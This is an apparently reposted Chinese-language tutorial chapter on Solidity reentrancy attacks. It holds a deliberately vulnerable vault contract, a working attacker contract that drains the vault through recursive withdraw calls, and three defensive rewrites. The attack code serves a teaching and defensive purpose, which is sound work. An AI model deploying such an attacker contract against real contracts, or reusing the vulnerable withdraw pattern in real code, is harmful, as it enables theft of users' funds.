欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 八卦 > 第 3 章 | 重入攻击 Reentrancy 全解析

第 3 章 | 重入攻击 Reentrancy 全解析

2025/3/31 22:53:21 来源:https://blog.csdn.net/m0_73054711/article/details/146511482  浏览:    关键词:第 3 章 | 重入攻击 Reentrancy 全解析

🧨 第 3 章 | 重入攻击 Reentrancy 全解析

——从 The DAO 闪崩事件开始,构建你对链上攻击的基本盘


✅ 章节导读

“你把钱转出去了,却还没更新余额,
攻击者趁你没反应,再次提款。
然后……再来一次。”

这就是重入攻击

Reentrancy 是 Solidity 最臭名昭著、历史最悠久的合约漏洞类型。
它不仅出现在**The DAO(2016)**的事件中,几乎每年都有重大项目中招。

本章我们将:

  1. 搞清楚 Reentrancy 是什么、为啥能攻击成功

  2. 复现一个最小可攻击提款合约 + 攻击者合约

  3. 分析攻击流程调用栈

  4. 提供三种防御方案,并对比优劣、Gas 成本

  5. 给出可部署的测试环境,供你练手


📌 什么是重入攻击?

定义:
当合约向外部账户(如 address.call{value:})发送 ETH 或调用函数时,如果对方是合约并在其 fallback()receive() 中再次调用原合约未锁定函数,就可以反复“插入执行”造成逻辑错误。


✅ 核心条件:

  • 被攻击函数包含外部调用(call、transfer、send)

  • 外部调用发生前,合约状态未更新

  • 被调用方可再次触发该函数


✅ 调用流程图:

User.withdraw()├─ call(msg.sender) ← 攻击者合约 fallback()│    └─ 再次调用 withdraw()│         └─ 再次 call(msg.sender)│              ...

💣 真实案例回顾:The DAO 攻击

  • 合约设计缺陷:先转账后更新余额

  • 攻击者构造 fallback(),每次接收到 ETH 都再次发起提款请求

  • 由于 balances[msg.sender] 未更新,可反复成功提款

最终结果:攻击者仅用一次攻击流程,提走超 30% DAO 资金,迫使以太坊硬分叉。


🧪 实战演练:复现一次完整的重入攻击


✅ 场景设计:

我们构造两个合约:

  1. VulnerableVault.sol:一个存在漏洞的提款合约

  2. AttackContract.sol:一个攻击者编写的钓鱼合约


📁 1. VulnerableVault.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;contract VulnerableVault {mapping(address => uint256) public balances;function deposit() external payable {balances[msg.sender] += msg.value;}function withdraw() external {require(balances[msg.sender] > 0, "No balance");// ⚠️ 问题代码:先转账,再更新状态(bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}function getBalance() external view returns (uint256) {return address(this).balance;}
}

📁 2. AttackContract.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;import "./VulnerableVault.sol";contract AttackContract {VulnerableVault public vault;address public owner;uint public attackCount;constructor(address _vault) {vault = VulnerableVault(_vault);owner = msg.sender;}// 攻击入口:发起存款 + 提款(触发重入)function attack() external payable {require(msg.value >= 1 ether, "Need some ETH");vault.deposit{value: msg.value}();vault.withdraw();}// Fallback:当 vault 回调我们时,再次发起 withdraw()receive() external payable {if (address(vault).balance >= 1 ether && attackCount < 10) {attackCount++;vault.withdraw(); // 重入再次提款}}// 提款function collect() external {payable(owner).transfer(address(this).balance);}
}

✅ 攻击流程演示:

  1. 攻击者部署 AttackContract,注入 1 ETH

  2. 调用 attack(),存入 ETH + 第一次调用 withdraw()

  3. 在 vault 的 call 中,触发 receive() → 递归触发 withdraw()

  4. vault 未更新余额,允许重复提款

  5. vault 合约资金耗尽


🛡 防御方案对比:三种有效手段


✅ 方法一:Checks-Effects-Interactions 模式(推荐)

最经典的防御思路:
先检查条件 → 更新状态 → 最后做外部调用

修改 withdraw() 函数为:

function withdraw() external {uint256 amount = balances[msg.sender];require(amount > 0, "No balance");balances[msg.sender] = 0; // ✅ 状态提前更新(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");
}

✅ 优点:

  • 易理解、逻辑清晰

  • 几乎不影响 Gas 成本

  • 几乎适用于所有合约逻辑结构


✅ 方法二:使用 ReentrancyGuard 修饰器

引入 OpenZeppelin 安全库:

npm install @openzeppelin/contracts
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract SecureVault is ReentrancyGuard {...function withdraw() external nonReentrant {...}
}

✅ 原理:

  • nonReentrant 使用布尔锁标志位,防止函数重复调用

  • 所有函数执行前后自动封锁状态变更路径

✅ 注意事项:

  • 所有可能互相调用的外部函数都必须加 nonReentrant

  • 不可嵌套调用其他加锁函数(避免死锁)


✅ 方法三:拉支付(Pull Payment)

反转控制权,不在函数中主动付款
而是让用户在另一个函数中主动 claim 资金

mapping(address => uint256) public pending;function withdraw() external {uint256 amount = balances[msg.sender];require(amount > 0, "No balance");balances[msg.sender] = 0;pending[msg.sender] += amount;
}function claim() external {uint256 amount = pending[msg.sender];require(amount > 0, "No claim");pending[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");
}

✅ 优点:

  • 从根本上消除外部 call 的风险点

  • 安全设计模式(推荐用于 reward claim、提款、分红)


📊 对比总结:

防御方式安全性性能易用性推荐场景
CEI 模式✅✅✅✅✅✅✅✅通用所有外部 call 合约
ReentrancyGuard✅✅✅✅✅多人协作开发、大型协议
Pull Payment✅✅✅✅✅分红、奖励类、提现类逻辑

🧪 本章练习(建议亲手跑一遍)

  1. 手动部署 VulnerableVault + AttackContract

  2. 调用 attack(),观察 ETH 被连续提取

  3. 修改合约为 CEI 防御后,重新部署验证攻击失败

  4. 对比 Gas 成本(用 Hardhat/Foundry trace 查看)

  5. 尝试在 ReentrancyGuard 版本中测试多次调用 withdraw 是否会被阻断


✅ 本章小结

  • 重入攻击是 Solidity 安全审计的必修项

  • 只要你的合约包含外部调用,都要考虑重入风险

  • 防御逻辑应默认假设:对方合约可能会回调你自己

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词